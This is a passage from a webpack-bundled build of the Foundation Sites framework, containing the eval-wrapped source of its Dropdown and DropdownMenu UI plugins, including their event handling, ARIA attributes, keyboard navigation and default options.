compat\n\n      // Touch and Triggers init are idempotent, just need to make sure they are initialized\n      _foundation_util_touch__WEBPACK_IMPORTED_MODULE_5__.Touch.init((jquery__WEBPACK_IMPORTED_MODULE_0___default()));\n      _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__.Triggers.init((jquery__WEBPACK_IMPORTED_MODULE_0___default()));\n      this._init();\n      _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__.Keyboard.register('Dropdown', {\n        'ENTER': 'toggle',\n        'SPACE': 'toggle',\n        'ESCAPE': 'close'\n      });\n    }\n\n    /**\n     * Initializes the plugin by setting/checking options and attributes, adding helper variables, and saving the anch
525or.\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_init\",\n    value: function _init() {\n      var $id = this.$element.attr('id');\n      this.$anchors = jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-toggle=\\\"\".concat($id, \"\\\"]\")).length ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-toggle=\\\"\".concat($id, \"\\\"]\")) : jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-open=\\\"\".concat($id, \"\\\"]\"));\n      this.$anchors.attr({\n        'aria-controls': $id,\n        'data-is-focus': false,\n        'data-yeti-box': $id,\n        'aria-haspopup': true,\n        'aria-expanded': false\n      });\n      this._setCurrentAnchor(this.$anchors.first());\n      if (this.options.parentClass) {\n        this.$parent = this.$element.parents('.' + this.options.parentClass);\n      } else {\n        this.$parent = null;\n      }\n\n      // Set [aria-labelledby] on the Dropdown if it is not set\n      if (typeof this.$element.attr('aria-labelledby') === 'undefined') {\n        // Get the anchor ID or create one\n        if (typeof this.$currentAnchor.attr('id') === 'undefined') {\n          this.$currentAnchor.attr('id', (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.GetYoDigits)(6, 'dd-anchor'));\n        }\n        this.$element.attr('aria-labelledby', this.$currentAnchor.attr('id'));\n      }\n      this.$element.attr({\n        'aria-hidden': 'true',\n        'data-yeti-box': $id,\n        'data-resize': $id\n      });\n      _get(_getPrototypeOf(Dropdown.prototype), \"_init\", this).call(this);\n      this._events();\n    }\n  }, {\n    key: \"_getDefaultPosition\",\n    value: function _getDefaultPosition() {\n      // handle legacy classnames\n      var position = this.$element[0].className.match(/(top|left|right|bottom)/g);\n      if (position) {\n        return position[0];\n      } else {\n        return 'bottom';\n      }\n    }\n  }, {\n    key: \"_getDefaultAlignment\",\n    value: function _getDefaultAlignment() {\n      // handle legacy float approach\n      var horizontalPosition = /float-(\\S+)/.exec(this.$currentAnchor.attr('class'));\n      if (horizontalPosition) {\n        return horizontalPosition[1];\n      }\n      return _get(_getPrototypeOf(Dropdown.prototype), \"_getDefaultAlignment\", this).call(this);\n    }\n\n    /**\n     * Sets the position and orientation of the dropdown pane, checks for collisions if allow-overlap is not true.\n     * Recursively calls itself if a collision is detected, with a new position class.\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_setPosition\",\n    value: function _setPosition() {\n      this.$element.removeClass(\"has-position-\".concat(this.position, \" has-alignment-\").concat(this.alignment));\n      _get(_getPrototypeOf(Dropdown.prototype), \"_setPosition\", this).call(this, this.$currentAnchor, this.$element, this.$parent);\n      this.$element.addClass(\"has-position-\".concat(this.position, \" has-alignment-\").concat(this.alignment));\n    }\n\n    /**\n     * Make it a current anchor.\n     * Current anchor as the reference for the position of Dropdown panes.\n     * @param {HTML} el - DOM element of the anchor.\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_setCurrentAnchor\",\n    value: function _setCurrentAnchor(el) {\n      this.$currentAnchor = jquery__WEBPACK_IMPORTED_MODULE_0___default()(el);\n    }\n\n    /**\n     * Adds event listeners to the element utilizing the triggers utility library.\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_events\",\n    value: function _events() {\n      var _this = this,\n        hasTouch = 'ontouchstart' in window || typeof window.ontouchstart !== 'undefined';\n      this.$element.on({\n        'open.zf.trigger': this.open.bind(this),\n        'close.zf.trigger': this.close.bind(this),\n        'toggle.zf.trigger': this.toggle.bind(this),\n        'resizeme.zf.trigger': this._setPosition.bind(this)\n      });\n      this.$anchors.off('click.zf.trigger').on('click.zf.trigger', function (e) {\n        _this._setCurrentAnchor(this);\n        if (\n        // if forceFollow false, always prevent default action\n        _this.options.forceFollow === false ||\n        // if forceFollow true and hover option true, only prevent default action on 1st click\n        // on 2nd click (dropown opened) the default action (e.g. follow a href) gets executed\n        hasTouch && _this.options.hover && _this.$element.hasClass('is-open') === false) {\n          e.preventDefault();\n        }\n      });\n      if (this.options.hover) {\n        this.$anchors.off('mouseenter.zf.dropdown mouseleave.zf.dropdown').on('mouseenter.zf.dropdown', function () {\n          _this._setCurrentAnchor(this);\n          var bodyData = jquery__WEBPACK_IMPORTED_MODULE_0___default()('body').data();\n          if (typeof bodyData.whatinput === 'undefined' || bodyData.whatinput === 'mouse') {\n            clearTimeout(_this.timeout);\n            _this.timeout = setTimeout(function () {\n              _this.open();\n              _this.$anchors.data('hover', true);\n            }, _this.options.hoverDelay);\n          }\n        }).on('mouseleave.zf.dropdown', (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.ignoreMousedisappear)(function () {\n          clearTimeout(_this.timeout);\n          _this.timeout = setTimeout(function () {\n            _this.close();\n            _this.$anchors.data('hover', false);\n          }, _this.options.hoverDelay);\n        }));\n        if (this.options.hoverPane) {\n          this.$element.off('mouseenter.zf.dropdown mouseleave.zf.dropdown').on('mouseenter.zf.dropdown', function () {\n            clearTimeout(_this.timeout);\n          }).on('mouseleave.zf.dropdown', (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.ignoreMousedisappear)(function () {\n            clearTimeout(_this.timeout);\n            _this.timeout = setTimeout(function () {\n              _this.close();\n              _this.$anchors.data('hover', false);\n            }, _this.options.hoverDelay);\n          }));\n        }\n      }\n      this.$anchors.add(this.$element).on('keydown.zf.dropdown', function (e) {\n        var $target = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n        _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__.Keyboard.handleKey(e, 'Dropdown', {\n          open: function open() {\n            if ($target.is(_this.$anchors) && !$target.is('input, textarea')) {\n              _this.open();\n              _this.$element.attr('tabindex', -1).focus();\n              e.preventDefault();\n            }\n          },\n          close: function close() {\n            _this.close();\n            _this.$anchors.focus();\n          }\n        });\n      });\n    }\n\n    /**\n     * Adds an event handler to the body to close any dropdowns on a click.\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_addBodyHandler\",\n    value: function _addBodyHandler() {\n      var $body = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.body).not(this.$element),\n        _this = this;\n      $body.off('click.zf.dropdown tap.zf.dropdown').on('click.zf.dropdown tap.zf.dropdown', function (e) {\n        if (_this.$anchors.is(e.target) || _this.$anchors.find(e.target).length) {\n          return;\n        }\n        if (_this.$element.is(e.target) || _this.$element.find(e.target).length) {\n          return;\n        }\n        _this.close();\n        $body.off('click.zf.dropdown tap.zf.dropdown');\n      });\n    }\n\n    /**\n     * Opens the dropdown pane, and fires a bubbling event to close other dropdowns.\n     * @function\n     * @fires Dropdown#closeme\n     * @fires Dropdown#show\n     */\n  }, {\n    key: \"open\",\n    value: function open() {\n      // var _this = this;\n      /**\n       * Fires to close other open dropdowns, typically when dropdown is opening\n       * @event Dropdown#closeme\n       */\n      this.$element.trigger('closeme.zf.dropdown', this.$element.attr('id'));\n      this.$anchors.addClass('hover').attr({\n        'aria-expanded': true\n      });\n      // this.$element/*.show()*/;\n\n      this.$element.addClass('is-opening');\n      this._setPosition();\n      this.$element.removeClass('is-opening').addClass('is-open').attr({\n        'aria-hidden': false\n      });
525\n      if (this.options.autoFocus) {\n        var $focusable = _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__.Keyboard.findFocusable(this.$element);\n        if ($focusable.length) {\n          $focusable.eq(0).focus();\n        }\n      }\n      if (this.options.closeOnClick) {\n        this._addBodyHandler();\n      }\n      if (this.options.trapFocus) {\n        _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__.Keyboard.trapFocus(this.$element);\n      }\n\n      /**\n       * Fires once the dropdown is visible.\n       * @event Dropdown#show\n       */\n      this.$element.trigger('show.zf.dropdown', [this.$element]);\n    }\n\n    /**\n     * Closes the open dropdown pane.\n     * @function\n     * @fires Dropdown#hide\n     */\n  }, {\n    key: \"close\",\n    value: function close() {\n      if (!this.$element.hasClass('is-open')) {\n        return false;\n      }\n      this.$element.removeClass('is-open').attr({\n        'aria-hidden': true\n      });\n      this.$anchors.removeClass('hover').attr('aria-expanded', false);\n\n      /**\n       * Fires once the dropdown is no longer visible.\n       * @event Dropdown#hide\n       */\n      this.$element.trigger('hide.zf.dropdown', [this.$element]);\n      if (this.options.trapFocus) {\n        _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__.Keyboard.releaseFocus(this.$element);\n      }\n    }\n\n    /**\n     * Toggles the dropdown pane's visibility.\n     * @function\n     */\n  }, {\n    key: \"toggle\",\n    value: function toggle() {\n      if (this.$element.hasClass('is-open')) {\n        if (this.$anchors.data('hover')) return;\n        this.close();\n      } else {\n        this.open();\n      }\n    }\n\n    /**\n     * Destroys the dropdown.\n     * @function\n     */\n  }, {\n    key: \"_destroy\",\n    value: function _destroy() {\n      this.$element.off('.zf.trigger').hide();\n      this.$anchors.off('.zf.dropdown');\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.body).off('click.zf.dropdown tap.zf.dropdown');\n    }\n  }]);\n  return Dropdown;\n}(_foundation_positionable__WEBPACK_IMPORTED_MODULE_3__.Positionable);\nDropdown.defaults = {\n  /**\n   * Class that designates bounding container of Dropdown (default: window)\n   * @option\n   * @type {?string}\n   * @default null\n   */\n  parentClass: null,\n  /**\n   * Amount of time to delay opening a submenu on hover event.\n   * @option\n   * @type {number}\n   * @default 250\n   */\n  hoverDelay: 250,\n  /**\n   * Allow submenus to open on hover events\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  hover: false,\n  /**\n   * Don't close dropdown when hovering over dropdown pane\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  hoverPane: false,\n  /**\n   * Number of pixels between the dropdown pane and the triggering element on open.\n   * @option\n   * @type {number}\n   * @default 0\n   */\n  vOffset: 0,\n  /**\n   * Number of pixels between the dropdown pane and the triggering element on open.\n   * @option\n   * @type {number}\n   * @default 0\n   */\n  hOffset: 0,\n  /**\n   * Position of dropdown. Can be left, right, bottom, top, or auto.\n   * @option\n   * @type {string}\n   * @default 'auto'\n   */\n  position: 'auto',\n  /**\n   * Alignment of dropdown relative to anchor. Can be left, right, bottom, top, center, or auto.\n   * @option\n   * @type {string}\n   * @default 'auto'\n   */\n  alignment: 'auto',\n  /**\n   * Allow overlap of container/window. If false, dropdown will first try to position as defined by data-position and data-alignment, but reposition if it would cause an overflow.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  allowOverlap: false,\n  /**\n   * Allow overlap of only the bottom of the container. This is the most common\n   * behavior for dropdowns, allowing the dropdown to extend the bottom of the\n   * screen but not otherwise influence or break out of the container.\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  allowBottomOverlap: true,\n  /**\n   * Allow the plugin to trap focus to the dropdown pane if opened with keyboard commands.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  trapFocus: false,\n  /**\n   * Allow the plugin to set focus to the first focusable element within the pane, regardless of method of opening.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  autoFocus: false,\n  /**\n   * Allows a click on the body to close the dropdown.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  closeOnClick: false,\n  /**\n   * If true the default action of the toggle (e.g. follow a link with href) gets executed on click. If hover option is also true the default action gets prevented on first click for mobile / touch devices and executed on second click.\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  forceFollow: true\n};\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.dropdown.js?")},"./js/foundation.dropdownMenu.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   DropdownMenu: function() { return /* binding */ DropdownMenu; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.util.box */ \"./js/foundation.util.box.js\");\n/* harmony import */ var _foundation_util_touch__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./foundation.util.touch */ \"./js/foundation.util.touch.js\");\nfunction _typeof(obj) { \"@babel/helpers - typeof\"; return _typeof = \"function\" == typeof Symbol && \"symbol\" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && \"function\" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, \"prototype\", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, \"string\");
525 return _typeof(key) === \"symbol\" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== \"object\" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || \"default\"); if (_typeof(res) !== \"object\") return res; throw new TypeError(\"@@toPrimitive must return a primitive value.\"); } return (hint === \"string\" ? String : Number)(input); }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, \"prototype\", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } else if (call !== void 0) { throw new TypeError(\"Derived constructors may only return object or undefined\"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === \"undefined\" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === \"function\") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n\n\n\n\n/**\n * DropdownMenu module.\n * @module foundation.dropdownMenu\n * @requires foundation.util.keyboard\n * @requires foundation.util.box\n * @requires foundation.util.nest\n * @requires foundation.util.touch\n */\nvar DropdownMenu = /*#__PURE__*/function (_Plugin) {\n  _inherits(DropdownMenu, _Plugin);\n  var _super = _createSuper(DropdownMenu);\n  function DropdownMenu() {\n    _classCallCheck(this, DropdownMenu);\n    return _super.apply(this, arguments);\n  }\n  _createClass(DropdownMenu, [{\n    key: \"_setup\",\n    value:\n    /**\n     * Creates a new instance of DropdownMenu.\n     * @class\n     * @name DropdownMenu\n     * @fires DropdownMenu#init\
525n     * @param {jQuery} element - jQuery object to make into a dropdown menu.\n     * @param {Object} options - Overrides to the default plugin settings.\n     */\n    function _setup(element, options) {\n      this.$element = element;\n      this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, DropdownMenu.defaults, this.$element.data(), options);\n      this.className = 'DropdownMenu'; // ie9 back compat\n\n      _foundation_util_touch__WEBPACK_IMPORTED_MODULE_6__.Touch.init((jquery__WEBPACK_IMPORTED_MODULE_0___default())); // Touch init is idempotent, we just need to make sure it's initialied.\n\n      this._init();\n      _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__.Keyboard.register('DropdownMenu', {\n        'ENTER': 'open',\n        'SPACE': 'open',\n        'ARROW_RIGHT': 'next',\n        'ARROW_UP': 'up',\n        'ARROW_DOWN': 'down',\n        'ARROW_LEFT': 'previous',\n        'ESCAPE': 'close'\n      });\n    }\n\n    /**\n     * Initializes the plugin, and calls _prepareMenu\n     * @private\n     * @function\n     */\n  }, {\n    key: \"_init\",\n    value: function _init() {\n      _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__.Nest.Feather(this.$element, 'dropdown');\n      var subs = this.$element.find('li.is-dropdown-submenu-parent');\n      this.$element.children('.is-dropdown-submenu-parent').children('.is-dropdown-submenu').addClass('first-sub');\n      this.$menuItems = this.$element.find('li[role=\"none\"]');\n      this.$tabs = this.$element.children('li[role=\"none\"]');\n      this.$tabs.find('ul.is-dropdown-submenu').addClass(this.options.verticalClass);\n      if (this.options.alignment === 'auto') {\n        if (this.$element.hasClass(this.options.rightClass) || (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.rtl)() || this.$element.parents('.top-bar-right').is('*')) {\n          this.options.alignment = 'right';\n          subs.addClass('opens-left');\n        } else {\n          this.options.alignment = 'left';\n          subs.addClass('opens-right');\n        }\n      } else {\n        if (this.options.alignment === 'right') {\n          subs.addClass('opens-left');\n        } else {\n          subs.addClass('opens-right');\n        }\n      }\n      this.changed = false;\n      this._events();\n    }\n  }, {\n    key: \"_isVertical\",\n    value: function _isVertical() {\n      return this.$tabs.css('display') === 'block' || this.$element.css('flex-direction') === 'column';\n    }\n  }, {\n    key: \"_isRtl\",\n    value: function _isRtl() {\n      return this.$element.hasClass('align-right') || (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.rtl)() && !this.$element.hasClass('align-left');\n    }\n\n    /**\n     * Adds event listeners to elements within the menu\n     * @private\n     * @function\n     */\n  }, {\n    key: \"_events\",\n    value: function _events() {\n      var _this = this,\n        hasTouch = 'ontouchstart' in window || typeof window.ontouchstart !== 'undefined',\n        parClass = 'is-dropdown-submenu-parent';\n\n      // used for onClick and in the keyboard handlers\n      var handleClickFn = function handleClickFn(e) {\n        var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', \".\".concat(parClass)),\n          hasSub = $elem.hasClass(parClass),\n          hasClicked = $elem.attr('data-is-click') === 'true',\n          $sub = $elem.children('.is-dropdown-submenu');\n        if (hasSub) {\n          if (hasClicked) {\n            if (!_this.options.closeOnClick || !_this.options.clickOpen && !hasTouch || _this.options.forceFollow && hasTouch) {\n              return;\n            }\n            e.stopImmediatePropagation();\n            e.preventDefault();\n            _this._hide($elem);\n          } else {\n            e.stopImmediatePropagation();\n            e.preventDefault();\n            _this._show($sub);\n            $elem.add($elem.parentsUntil(_this.$element, \".\".concat(parClass))).attr('data-is-click', true);\n          }\n        }\n      };\n      if (this.options.clickOpen || hasTouch) {\n        this.$menuItems.on('click.zf.dropdownMenu touchstart.zf.dropdownMenu', handleClick
525Fn);\n      }\n\n      // Handle Leaf element Clicks\n      if (_this.options.closeOnClickInside) {\n        this.$menuItems.on('click.zf.dropdownMenu', function () {\n          var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n            hasSub = $elem.hasClass(parClass);\n          if (!hasSub) {\n            _this._hide();\n          }\n        });\n      }\n      if (hasTouch && this.options.disableHoverOnTouch) this.options.disableHover = true;\n      if (!this.options.disableHover) {\n        this.$menuItems.on('mouseenter.zf.dropdownMenu', function () {\n          var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n            hasSub = $elem.hasClass(parClass);\n          if (hasSub) {\n            clearTimeout($elem.data('_delay'));\n            $elem.data('_delay', setTimeout(function () {\n              _this._show($elem.children('.is-dropdown-submenu'));\n            }, _this.options.hoverDelay));\n          }\n        }).on('mouseleave.zf.dropdownMenu', (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.ignoreMousedisappear)(function () {\n          var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n            hasSub = $elem.hasClass(parClass);\n          if (hasSub && _this.options.autoclose) {\n            if ($elem.attr('data-is-click') === 'true' && _this.options.clickOpen) {\n              return false;\n            }\n            clearTimeout($elem.data('_delay'));\n            $elem.data('_delay', setTimeout(function () {\n              _this._hide($elem);\n            }, _this.options.closingTime));\n          }\n        }));\n      }\n      this.$menuItems.on('keydown.zf.dropdownMenu', function (e) {\n        var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', '[role=\"none\"]'),\n          isTab = _this.$tabs.index($element) > -1,\n          $elements = isTab ? _this.$tabs : $element.siblings('li').add($element),\n          $prevElement,\n          $nextElement;\n        $elements.each(function (i) {\n          if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n            $prevElement = $elements.eq(i - 1);\n            $nextElement = $elements.eq(i + 1);\n            return;\n          }\n        });\n        var nextSibling = function nextSibling() {\n            $nextElement.children('a:first').focus();\n            e.preventDefault();\n          },\n          prevSibling = function prevSibling() {\n            $prevElement.children('a:first').focus();\n            e.preventDefault();\n          },\n          openSub = function openSub() {\n            var $sub = $element.children('ul.is-dropdown-submenu');\n            if ($sub.length) {\n              _this._show($sub);\n              $element.find('li > a:first').focus();\n              e.preventDefault();\n            } else {\n              return;\n            }\n          },\n          closeSub = function closeSub() {\n            //if ($element.is(':first-child')) {\n            var close = $element.parent('ul').parent('li');\n            close.children('a:first').focus();\n            _this._hide(close);\n            e.preventDefault();\n            //}\n          };\n\n        var functions = {\n          open: openSub,\n          close: function close() {\n            _this._hide(_this.$element);\n            _this.$menuItems.eq(0).children('a').focus(); // focus to first element\n            e.preventDefault();\n          }\n        };\n        if (isTab) {\n          if (_this._isVertical()) {\n            // vertical menu\n            if (_this._isRtl()) {\n              // right aligned\n              jquery__WEBPACK_IMPORTED_MODULE_0___default().extend(functions, {\n                down: nextSibling,\n                up: prevSibling,\n                next: closeSub,\n                previous: openSub\n              });\n            } else {\n              // left aligned\n              jquery__WEBPACK_IMPORTED_MODULE_0___default().extend(functions, {\n                down: nextSibling,\n                up: prevSibling,\n                next: openSub,\n                previous: closeSub\n              });\n            }\n          } else {\n            // horizontal menu\n            if (_this._isRtl()) {\n              // right aligned\n              jquery__WEBPACK_IMPORTED_MODULE_0___default().extend(functions, {\n                next: prevSibling,\n                previous: nextSibling,\n                down: openSub,\n                up: closeSub\n              });\n            } else {\n              // left aligned\n              jquery__WEBPACK_IMPORTED_MODULE_0___default().extend(functions, {\n                next: nextSibling,\n                previous: prevSibling,\n                down: openSub,\n                up: closeSub\n              });\n            }\n          }\n        } else {\n          // not tabs -> one sub\n          if (_this._isRtl()) {\n            // right aligned\n            jquery__WEBPACK_IMPORTED_MODULE_0___default().extend(functions, {\n              next: closeSub,\n              previous: openSub,\n              down: nextSibling,\n              up: prevSibling\n            });\n          } else {\n            // left aligned\n            jquery__WEBPACK_IMPORTED_MODULE_0___default().extend(functions, {\n              next: openSub,\n              previous: closeSub,\n              down: nextSibling,\n              up: prevSibling\n            });\n          }\n        }\n        _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__.Keyboard.handleKey(e, 'DropdownMenu', functions);\n      });\n    }\n\n    /**\n     * Adds an event handler to the body to close any dropdowns on a click.\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_addBodyHandler\",\n    value: function _addBodyHandler() {\n      var _this2 = this;\n      var $body = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.body);\n      this._removeBodyHandler();\n      $body.on('click.zf.dropdownMenu tap.zf.dropdownMenu', function (e) {\n        var isItself = !!jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).closest(_this2.$element).length;\n        if (isItself) return;\n        _this2._hide();\n        _this2._removeBodyHandler();\n      });\n    }\n\n    /**\n     * Remove the body event handler. See `_addBodyHandler`.\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_removeBodyHandler\",\n    value: function _removeBodyHandler() {\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.body).off('click.zf.dropdownMenu tap.zf.dropdownMenu');\n    }
525\n\n    /**\n     * Opens a dropdown pane, and checks for collisions first.\n     * @param {jQuery} $sub - ul element that is a submenu to show\n     * @function\n     * @private\n     * @fires DropdownMenu#show\n     */\n  }, {\n    key: \"_show\",\n    value: function _show($sub) {\n      var idx = this.$tabs.index(this.$tabs.filter(function (i, el) {\n        return jquery__WEBPACK_IMPORTED_MODULE_0___default()(el).find($sub).length > 0;\n      }));\n      var $sibs = $sub.parent('li.is-dropdown-submenu-parent').siblings('li.is-dropdown-submenu-parent');\n      this._hide($sibs, idx);\n      $sub.css('visibility', 'hidden').addClass('js-dropdown-active').parent('li.is-dropdown-submenu-parent').addClass('is-active');\n      var clear = _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__.Box.ImNotTouchingYou($sub, null, true);\n      if (!clear) {\n        var oldClass = this.options.alignment === 'left' ? '-right' : '-left',\n          $parentLi = $sub.parent('.is-dropdown-submenu-parent');\n        $parentLi.removeClass(\"opens\".concat(oldClass)).addClass(\"opens-\".concat(this.options.alignment));\n        clear = _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__.Box.ImNotTouchingYou($sub, null, true);\n        if (!clear) {\n          $parentLi.removeClass(\"opens-\".concat(this.options.alignment)).addClass('opens-inner');\n        }\n        this.changed = true;\n      }\n      $sub.css('visibility', '');\n      if (this.options.closeOnClick) {\n        this._addBodyHandler();\n      }\n      /**\n       * Fires when the new dropdown pane is visible.\n       * @event DropdownMenu#show\n       */\n      this.$element.trigger('show.zf.dropdownMenu', [$sub]);\n    }\n\n    /**\n     * Hides a single, currently open dropdown pane, if passed a parameter, otherwise, hides everything.\n     * @function\n     * @param {jQuery} $elem - element with a submenu to hide\n     * @param {Number} idx - index of the $tabs collection to hide\n     * @fires DropdownMenu#hide\n     * @private\n     */\n  }, {\n    key: \"_hide\",\n    value: function _hide($elem, idx) {\n      var $toClose;\n      if ($elem && $elem.length) {\n        $toClose = $elem;\n      } else if (typeof idx !== 'undefined') {\n        $toClose = this.$tabs.not(function (i) {\n          return i === idx;\n        });\n      } else {\n        $toClose = this.$element;\n      }\n      var somethingToClose = $toClose.hasClass('is-active') || $toClose.find('.is-active').length > 0;\n      if (somethingToClose) {\n        var $activeItem = $toClose.find('li.is-active');\n        $activeItem.add($toClose).attr({\n          'data-is-click': false\n        }).removeClass('is-active');\n        $toClose.find('ul.js-dropdown-active').removeClass('js-dropdown-active');\n        if (this.changed || $toClose.find('opens-inner').length) {\n          var oldClass = this.options.alignment === 'left' ? 'right' : 'left';\n          $toClose.find('li.is-dropdown-submenu-parent').add($toClose).removeClass(\"opens-inner opens-\".concat(this.options.alignment)).addClass(\"opens-\".concat(oldClass));\n          this.changed = false;\n        }\n        clearTimeout($activeItem.data('_delay'));\n        this._removeBodyHandler();\n\n        /**\n         * Fires when the open menus are closed.\n         * @event DropdownMenu#hide\n         */\n        this.$element.trigger('hide.zf.dropdownMenu', [$toClose]);\n      }\n    }\n\n    /**\n     * Destroys the plugin.\n     * @function\n     */\n  }, {\n    key: \"_destroy\",\n    value: function _destroy() {\n      this.$menuItems.off('.zf.dropdownMenu').removeAttr('data-is-click').removeClass('is-right-arrow is-left-arrow is-down-arrow opens-right opens-left opens-inner');\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.body).off('.zf.dropdownMenu');\n      _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__.Nest.Burn(this.$element, 'dropdown');\n    }\n  }]);\n  return DropdownMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__.Plugin);\n/**\n * Default settings for plugin\n */\nDropdownMenu.defaults = {\n  /**\n   * Disallows hover events from opening submenus\n   * @option\n   * @type 